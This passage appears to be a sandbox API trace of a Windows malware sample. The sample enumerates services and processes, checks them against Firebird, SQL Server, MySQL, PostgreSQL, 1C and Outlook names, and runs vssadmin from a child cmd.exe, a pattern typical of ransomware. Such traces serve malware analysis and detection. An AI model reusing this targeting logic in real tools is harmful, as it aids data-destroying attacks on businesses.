[0195.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0195.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0195.838] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0195.838] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0195.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0195.838] lstrlenW (lpString="SamSs") returned 5 [0195.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0195.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0195.838] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0195.838] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0195.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0195.838] lstrlenW (lpString="Schedule") returned 8 [0195.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0195.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0195.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0195.839] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0195.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0195.839] lstrlenW (lpString="SENS") returned 4 [0195.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0195.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0195.839] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0195.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0195.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0195.839] lstrlenW (lpString="ShellHWDetection") returned 16 [0195.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0195.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0195.839] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0195.839] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0195.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0195.839] lstrlenW (lpString="Spooler") returned 7 [0195.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0195.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0195.839] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0195.839] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0195.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0195.839] lstrlenW (lpString="swprv") returned 5 [0195.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0195.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0195.839] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0195.839] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0195.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0195.839] lstrlenW (lpString="SysMain") returned 7 [0195.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0195.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0195.839] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0195.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0195.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0195.840] lstrlenW (lpString="Themes") returned 6 [0195.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0195.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0195.840] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0195.840] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0195.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0195.840] lstrlenW (lpString="TrkWks") returned 6 [0195.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0195.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0195.840] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0195.840] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0195.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0195.840] lstrlenW (lpString="UxSms") returned 5 [0195.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0195.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0195.840] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0195.840] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0195.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0195.840] lstrlenW (lpString="VSS") returned 3 [0195.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0195.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0195.840] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0195.840] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0195.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0195.840] lstrlenW (lpString="WdiServiceHost") returned 14 [0195.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0195.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0195.840] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0195.840] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0195.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0195.840] lstrlenW (lpString="WdiSystemHost") returned 13 [0195.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0195.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0195.841] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0195.841] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0195.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0195.841] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0195.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0195.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0195.841] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0195.841] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0195.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0195.841] lstrlenW (lpString="Winmgmt") returned 7 [0195.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0195.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0195.841] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0195.841] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0195.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0195.841] lstrlenW (lpString="WPDBusEnum") returned 10 [0195.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0195.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0195.841] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0195.841] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0195.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0195.841] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0195.841] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f4 [0195.843] Process32FirstW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.843] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0195.844] lstrlenW (lpString="System") returned 6 [0195.844] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0195.844] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0195.844] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0195.844] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0195.844] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0195.844] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0195.844] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0195.844] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0195.844] lstrlenW (lpString="smss.exe") returned 8 [0195.844] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0195.844] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0195.844] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0195.844] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0195.844] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0195.844] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0195.844] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0195.844] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0195.845] lstrlenW (lpString="csrss.exe") returned 9 [0195.845] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0195.845] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0195.845] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0195.845] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0195.845] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0195.845] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0195.845] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0195.845] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0195.846] lstrlenW (lpString="wininit.exe") returned 11 [0195.846] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0195.846] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0195.847] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0195.847] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0195.847] lstrlenW (lpString="csrss.exe") returned 9 [0195.847] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0195.847] lstrlenW (lpString="winlogon.exe") returned 12 [0195.848] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0195.848] lstrlenW (lpString="services.exe") returned 12 [0195.848] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0195.848] lstrlenW (lpString="lsass.exe") returned 9 [0195.848] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0195.849] lstrlenW (lpString="lsm.exe") returned 7 [0195.849] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.849] lstrlenW (lpString="svchost.exe") returned 11 [0195.849] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.849] lstrlenW (lpString="svchost.exe") returned 11 [0195.849] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.850] lstrlenW (lpString="svchost.exe") returned 11 [0195.850] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.850] lstrlenW (lpString="svchost.exe") returned 11 [0195.850] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.851] lstrlenW (lpString="svchost.exe") returned 11 [0195.851] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0195.851] lstrlenW (lpString="audiodg.exe") returned 11 [0195.851] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.851] lstrlenW (lpString="svchost.exe") returned 11 [0195.851] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0195.852] lstrlenW (lpString="explorer.exe") returned 12 [0195.852] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0195.852] lstrlenW (lpString="dwm.exe") returned 7 [0195.852] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.852] lstrlenW (lpString="svchost.exe") returned 11 [0195.852] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0195.853] lstrlenW (lpString="n.exe") returned 5 [0195.853] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0195.853] lstrlenW (lpString="spoolsv.exe") returned 11 [0195.853] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.854] lstrlenW (lpString="svchost.exe") returned 11 [0195.854] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0195.854] lstrlenW (lpString="taskhost.exe") returned 12 [0195.854] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0195.854] lstrlenW (lpString="reader_sl.exe") returned 13 [0195.854] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0195.855] lstrlenW (lpString="n.exe") returned 5 [0195.855] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0195.855] lstrlenW (lpString="cmd.exe") returned 7 [0195.855] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0195.855] lstrlenW (lpString="conhost.exe") returned 11 [0195.855] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0195.856] lstrlenW (lpString="vssadmin.exe") returned 12 [0195.856] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0195.856] lstrlenW (lpString="VSSVC.exe") returned 9 [0195.856] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.857] lstrlenW (lpString="svchost.exe") returned 11 [0195.857] Process32NextW (in: hSnapshot=0x1f4, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0195.857] CloseHandle (hObject=0x1f4) returned 1 [0195.857] Sleep (dwMilliseconds=0x1f4) [0196.632] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0196.632] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0196.633] GetLastError () returned 0xea [0196.633] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12c6) returned 0x6b5c80 [0196.633] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x12c6, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0196.633] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0196.633] lstrlenW (lpString="Appinfo") returned 7 [0196.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0196.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0196.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0196.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0196.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0196.634] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0196.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0196.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0196.634] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0196.634] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0196.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0196.634] lstrlenW (lpString="AudioSrv") returned 8 [0196.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0196.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0196.634] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0196.634] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0196.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0196.634] lstrlenW (lpString="BFE") returned 3 [0196.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0196.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0196.634] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0196.634] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0196.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0196.634] lstrlenW (lpString="CryptSvc") returned 8 [0196.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0196.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0196.634] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0196.634] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0196.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0196.634] lstrlenW (lpString="CscService") returned 10 [0196.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0196.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0196.635] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0196.635] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0196.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0196.635] lstrlenW (lpString="DcomLaunch") returned 10 [0196.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0196.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0196.635] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0196.635] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0196.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0196.635] lstrlenW (lpString="Dhcp") returned 4 [0196.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0196.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 